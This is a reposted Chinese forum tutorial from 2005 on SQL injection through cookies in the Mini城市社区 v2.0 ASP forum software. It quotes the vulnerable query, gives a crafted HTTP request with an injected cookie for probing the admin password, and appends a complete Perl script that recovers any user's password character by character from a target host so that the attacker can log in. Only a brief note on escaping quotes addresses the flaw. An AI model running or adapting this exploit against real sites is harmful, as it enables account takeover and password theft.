韩冰 发表于 2005-1-23 13:30

用Cookies做SQL injection

<P><FONT color=#f70909>文/mix   </FONT><a href="http://www.spking.com/" target="_blank" ><FONT color=#f70909>http://www.spking.com/</FONT></A></P>
<P>一般ASP程序出现SQL injection<a href="http://www3.hackbase.com/News/World" target="_blank" >漏洞</A>,一般都是通过从地址栏提交精心构建的地址,达到注入的目的。其实,在Cookies中同样可以实现SQL injection。这次<a href="http://www3.hackbase.com/News/World" target="_blank" >漏洞</A>涉及的是Mini城市社区v2.0 免费版本+SP1补丁。 </P>
<P>Mini城市社区是<a href="http://xmcn.com/city" target="_blank" >http://xmcn.com/city</A>开发的一套开放源<a href="http://hackbase.com/hacker" target="_blank" >代码</A>的社区程序;由于多个文件存在变量未过滤特殊字符,可能导致用户非法控制社区,获取管理员在内的用户<a href="http://hackbase.com/hacker" target="_blank" >密码</A>。由于问题文件较多,这里特选取一个简单的user<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>photo.asp来作解释。 </P>
<P>user<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>photo.asp文件的作用是上传用户头像图片的,先看看文件开头是怎么样验证用户已登陆的: </P>
<P>
if Request.Cookies("NC")="" or Request.Cookies("NC")="访客" then
Response.Write("对不起,您不是社区用户,请先注册!")
Response.End
end if </P>
<P>
这里他简单的使用了Cookies中的NC变量的值,是否不为空或不为"访客"来判断用户。没有对<a href="http://hackbase.com/hacker" target="_blank" >数据库</A>是否存在这个用户,以及没有<a href="http://hackbase.com/hacker" target="_blank" >密码</A>认证是他犯下的第一个错误。接着往后看<a href="http://hackbase.com/hacker" target="_blank" >代码</A>: </P>
<P>
set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&amp;Request.Cookies("NC")&amp;"'") </P>
<P>
前两句话,就是他的第二个错误,没有对Request.Cookies("NC")得来的数据进行任何过滤就直接放入了SQL语句中,进行查询操作,通过构造Cookies就可以在这里进行SQL injection! </P>
<P>
......省略部分<a href="http://hackbase.com/hacker" target="_blank" >代码</A> </P>
<P>" width="200" height="150"&gt; </P>
<P>
在后面的<a href="http://hackbase.com/hacker" target="_blank" >代码</A>中,通过先前从<a href="http://hackbase.com/hacker" target="_blank" >数据库</A>查询得来的数据,调用user<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>photo<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>disp.asp来显示图片,如果首先的查询语句正常返回了,这里就可以正常显示(如图一);反之,由于没有相应的数据作参数,这里就会显示错误。利用这个现象,我们就能够判断出我们构造的SQL语句的正确与否。 </P>
<P>
图一 </P>
<P>好了,简单的回顾刚才的三个分析步骤,也是任何一个SQL injection<a href="http://www3.hackbase.com/News/World" target="_blank" >漏洞</A>被确立的三个必要条件:
1.能够顺利的让ASP程序运行到有错误的语句上,而又不能破坏我们构建的数据。
2.能够控制SQL语句的构成,插入我们需要的SQL语句成分。
3.能够在客户端(浏览器)返回的数据中,找到SQL语句是否正确执行的判断标准(现象)。 </P>
<P>完成了<a href="http://www3.hackbase.com/News/World" target="_blank" >漏洞</A>的分析,下面就是简单的实践过程了,由于Cookies存在的特殊性,一般都是用程序来进行暴力猜解的。但是,为了大家能够理解数据在<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器和浏览器之间是怎么样运作的,笔者简单的使用nc.exe(网络瑞士军刀)来演示一下过程,文后附带了笔者写的一个perl脚本,可以用来猜解任意<a href="http://hackbase.com/skill" target="_blank" >账户</A><a href="http://hackbase.com/hacker" target="_blank" >密码</A>,使用前先注册一个用户名为goo的<a href="http://hackbase.com/skill" target="_blank" >账户</A>。 </P>
<P>Nc.exe的详细使用指南可以在网上搜索得到,笔者就不再多说了。在命令行下执行: nc -vv 127.0.0.1 80 &lt;1.txt &gt;1.htm ,其中127.0.0.1是运行了Mini城市社区的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器IP地址,80是端口号,1.htm保存的是<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器返回结果,1.txt是我们构造的数据,其内容如下,注意最后一个分号后,有三个回车。 </P>
<P>GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271; </P>

<P>我们将Cookies中的NC数据带入到SQL语句中来看看我们到底想执行什么:
Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and ‘1' </P>
<P>很显然,我们在试图探测用户名为admin的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>长度是否为7。大家可以发挥一下自己的思考能力,构造其他的SQL语句进行查询,在带入1.txt的格式中时,注意将=(等号)换成%3D,将'(单引号)换成%27,将空格换成%20。如果上面的语句是正确的,浏览器返回如图一,反之如图二。 </P>
<P>
图二 </P>
<P>其实,笔者在简单测试Mini城市社区的官方网站时,发现其已经解决了大部分的SQL injection<a href="http://www3.hackbase.com/News/World" target="_blank" >漏洞</A>,只不过没有将补丁发放出来。任在使用该社区的朋友就只好先自己动手改改了,将所有使用Request函数的地方都用如下格式代替Replace(Request.Cookies("NC"),"'","''"),通过剔除'(单引号)来加大<a href="http://www3.hackbase.com/News/World" target="_blank" >漏洞</A>利用的难度,至于彻底解决还是等待官方的补丁为妙。 </P>

<P>附录:
#!/usr/bin/perl
#Codz By Mix2003/8/15
#The Script can crack MINI system user's password </P>
<P>$|=1;
use Socket;
use Getopt::Std;
getopt('hpwu'); </P>
<P>print "=====================================================\n";
print " The Script Codz By Mix \n";
print "=====================================================\n"; </P>
<P>&amp;usage unless ( defined($opt<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>h) &amp;&amp; defined($opt<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>w) ); </P>
<P>$host=$opt<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>h;
$port=$opt<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>p||80;
$way=$opt<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>w;
$username=$opt<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>u; </P>
<P>print "\nPlease wait...\n\n"; </P>
<P>@dic=(0..20);
for ($i=0;$i&lt;@dic;$i++)
{
$cookies="NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D$dic[$i]%20and%20NC%3D%27$username%27)%20and%20%271";
$request = "GET $way HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: $cookies;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /图片可以是/, @in;
<a href="mailt$size=@num" target="_blank" >$size=@num</A>;
if ($size &gt; 0) {
$len=$dic[$i];
print "\n\nSuccessful,The len of admin's password is $dic[$i] .\n\n";
last;
}
} </P>
<P>
for ($j=1;$j&lt;=$len;$j++)
{
@dic11=(0..9);
@dic12=(a..z);
@dic13=(A..Z);
@special=qw(` ~ ! @ # $ %25 ^ %26 * \( \) <a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A> %2b = - { } [ ] : " ; &lt; &gt; ? | , . / \\);
@special2=qw( ` ~ ! • # ¥ % ...... — * ( ) —— + - = { } [ ] : " " ; ' 《 》 ? │ , 。 / 、 〈 〉 ');
@dic=(@dic11,@dic12,@dic13,@special,@special2);
for ($i=0;$i&lt;@dic;$i++)
{
$key=$pws.$dic[$i];
$cookies="NC=goo%27and%20exists%20(select%20id%20from%20HY%20where%20left(MM,$j)%3D%27$key%27%20and%20NC%3D%27$username%27)%20and%20%271"; </P>
<P>$request = "GET $way HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: $cookies;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /图片可以是/, @in;
<a href="mailt$size=@num" target="_blank" >$size=@num</A>;
if ($size &gt; 0) {
$th=$j.th;
print "\nSuccessful,The $th word of the password is $dic[$i] \n";
$pws=$pws.$dic[$i];
last;
}
}
} </P>
<P>$pws=~s/\%2b/\+/ig;
$pws=~s/\%25/\%/ig;
$pws=~s/\%26/\&amp;/ig;
print "\n\nSuccessful,The $username's password is $pws .\n\n"; </P>
<P>
print "Now , you can use \nusername: $username\npassword: $pws\nto login !\n\n"; </P>
<P>
sub usage {
print qq~
Usage: $0 -h [-p ] -w
-h =hostname you want to crack
-p =port,80 default
-w =the path of the weak file and the file's path
-u =you want to crack user's name </P>
<P>Eg: $0 -h <a href="http://www.target.com/" target="_blank" >www.target.com</A> -p 80 -w /mcity/user<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>photo.asp -u admin
~;
exit;
} </P>
<P>
#thanx rfp's sendraw
sub sendraw {
my ($request) = @<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>;
my $target;
$target = inet<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>aton($host) || die("inet<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>aton problems");
socket(S,PF<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>INET,SOCK<a href="http://www3.hackbase.com/hacker/tutorial/200501219637.htm#" target="_blank" >_</A>STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = ;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}
} </P>
页: [1]
查看完整版本: 用Cookies做SQL injection